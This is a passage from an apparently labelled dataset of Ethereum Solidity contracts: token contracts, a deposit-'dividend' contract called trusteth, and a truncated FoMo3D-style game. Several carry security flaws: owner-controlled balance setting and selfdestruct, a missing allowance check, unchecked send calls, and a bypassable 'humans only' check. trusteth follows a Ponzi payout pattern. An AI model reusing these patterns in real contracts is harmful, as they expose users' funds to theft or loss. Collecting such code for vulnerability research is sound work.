emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SYNCContract is Ownable
{
using SafeMath for uint256;
mapping(address => uint256) internal balances;
mapping(address => uint256) internal totalBalances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => uint256) internal totalAllowed;
uint256 internal totSupply;
function totalSupply() view public returns(uint256)
{
return totSupply;
}
function getTotalAllowed(address _owner) view public returns(uint256)
{
return totalAllowed[_owner];
}
function setTotalAllowed(address _owner, uint256 _newValue) internal
{
totalAllowed[_owner]=_newValue;
}
function setTotalSupply(uint256 _newValue) internal
{
totSupply=_newValue;
}
function balanceOf(address _owner) view public returns(uint256)
{
return balances[_owner];
}
function setBalanceOf(address _investor, uint256 _newValue) internal
{
require(_investor!=0x0000000000000000000000000000000000000000);
balances[_investor]=_newValue;
}
function allowance(address _owner, address _spender) view public returns(uint256)
{
require(msg.sender==_owner || msg.sender == _spender || msg.sender==getOwner());
return allowed[_owner][_spender];
}
function setAllowance(address _owner, address _spender, uint256 _newValue) internal
{
require(_spender!=0x0000000000000000000000000000000000000000);
uint256 newTotal = getTotalAllowed(_owner).sub(allowance(_owner, _spender)).add(_newValue);
require(newTotal <= balanceOf(_owner));
allowed[_owner][_spender]=_newValue;
setTotalAllowed(_owner,newTotal);
}
constructor() public
{
cap = 48000000*1000000000000000000;
}
bytes32 public constant name = "SYNCoin";
bytes4 public constant symbol = "SYNC";
uint8 public constant decimals = 18;
uint256 public cap;
bool public mintingFinished;
event Transfer(address indexed _from, address indexed _to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 value);
event Mint(address indexed _to, uint256 amount);
event MintFinished();
modifier canMint() {
require(!mintingFinished);
_;
}
function getName() pure public returns(bytes32)
{
return name;
}
function getSymbol() pure public returns(bytes4)
{
return symbol;
}
function getTokenDecimals() pure public returns(uint256)
{
return decimals;
}
function getMintingFinished() view public returns(bool)
{
return mintingFinished;
}
function getTokenCap() view public returns(uint256)
{
return cap;
}
function setTokenCap(uint256 _newCap) external onlyOwner
{
cap=_newCap;
}
function updateTokenInvestorBalance(address _investor, uint256 _newValue) onlyOwner external
{
setTokens(_investor,_newValue);
}
function transfer(address _to, uint256 _value) public returns(bool){
require(msg.sender!=_to);
require(_value <= balanceOf(msg.sender));
setBalanceOf(msg.sender, balanceOf(msg.sender).sub(_value));
setBalanceOf(_to, balanceOf(_to).add(_value));
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool){
require(_value <= balanceOf(_from));
require(_value <= allowance(_from,_to));
setBalanceOf(_from, balanceOf(_from).sub(_value));
setBalanceOf(_to, balanceOf(_to).add(_value));
setAllowance(_from,_to,allowance(_from,_to).sub(_value));
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _owner,address _spender, uint256 _value) public returns(bool){
require(msg.sender ==_owner);
setAllowance(msg.sender,_spender, _value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _owner, address _spender, uint _addedValue) public returns(bool){
require(msg.sender==_owner);
setAllowance(_owner,_spender,allowance(_owner,_spender).add(_addedValue));
emit Approval(_owner, _spender, allowance(_owner,_spender));
return true;
}
function decreaseApproval(address _owner,address _spender, uint _subtractedValue) public returns(bool){
require(msg.sender==_owner);
uint oldValue = allowance(_owner,_spender);
if (_subtractedValue > oldValue) {
setAllowance(_owner,_spender, 0);
} else {
setAllowance(_owner,_spender, oldValue.sub(_subtractedValue));
}
emit Approval(_owner, _spender, allowance(_owner,_spender));
return true;
}
function mint(address _to, uint256 _amount) canMint internal{
require(totalSupply().add(_amount) <= getTokenCap());
setTotalSupply(totalSupply().add(_amount));
setBalanceOf(_to, balanceOf(_to).add(_amount));
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function setTokens(address _to, uint256 _amount) canMint internal{
if(_amount > balanceOf(_to)){
uint256 diff = _amount.sub(balanceOf(_to));
require( totalSupply().add(diff) <= getTokenCap());
setTotalSupply(totalSupply().add(diff));
setBalanceOf(_to, _amount);
}else{
uint256 diff = balanceOf(_to).sub(_amount);
setTotalSupply(totalSupply().sub(diff));
setBalanceOf(_to, _amount);
}
emit Transfer(address(0), _to, _amount);
}
function finishMinting() canMint onlyOwner external{
emit MintFinished();
}
function getOwner() view internal returns(address payable)
{
return owner;
}
function destroy() external onlyOwner{
selfdestruct(getOwner());
}
} | 1 | 4,352 |
pragma solidity 0.4.21;
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract ROC is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ROC() public {
symbol = "ROC";
name = "NeoWorld Rare Ore C";
decimals = 18;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,802 |
pragma solidity ^0.4.11;
library SafeMath {
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract DiscrashCredit is StandardToken {
string public name = "DiscrashCredit";
string public symbol = "DCC";
uint256 public decimals = 18;
uint256 public initialSupply = 7 * 10**9 * 10**18;
function DiscrashCredit() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
} | 1 | 2,674 |
pragma solidity ^0.4.25;
contract trusteth{
mapping (address => uint256) invested;
mapping (address => uint256) dateInvest;
uint constant public FEE = 4;
uint constant public ADMIN_FEE = 4;
address private adminAddr;
constructor() public{
adminAddr = msg.sender;
}
function () external payable {
address sender = msg.sender;
if (invested[sender] != 0) {
uint256 amount = getInvestorDividend(sender);
if (amount >= address(this).balance){
amount = address(this).balance;
}
sender.send(amount);
}
dateInvest[sender] = now;
invested[sender] += msg.value;
if (msg.value > 0){
adminAddr.send(msg.value * ADMIN_FEE / 100);
}
}
function getInvestorDividend(address addr) public view returns(uint256) {
return invested[addr] * FEE / 100 * (now - dateInvest[addr]) / 1 days;
}
} | 0 | 94 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract NOPONZI is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
otherFoMo3D private otherF3D_;
JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x80526AA5f9A2905809Aa8E1b861eca7895982c70);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x01308cFf027cC3e130fB1c32114e89179b6c36A7);
string constant public name = "NOPONZI";
string constant public symbol = "NOPONZI";
address public owner;
uint256 private rndExtra_ = 10 minutes;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
owner=0xAE81cCb079B49f9149E54235802ad22a83A6e0dF;
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
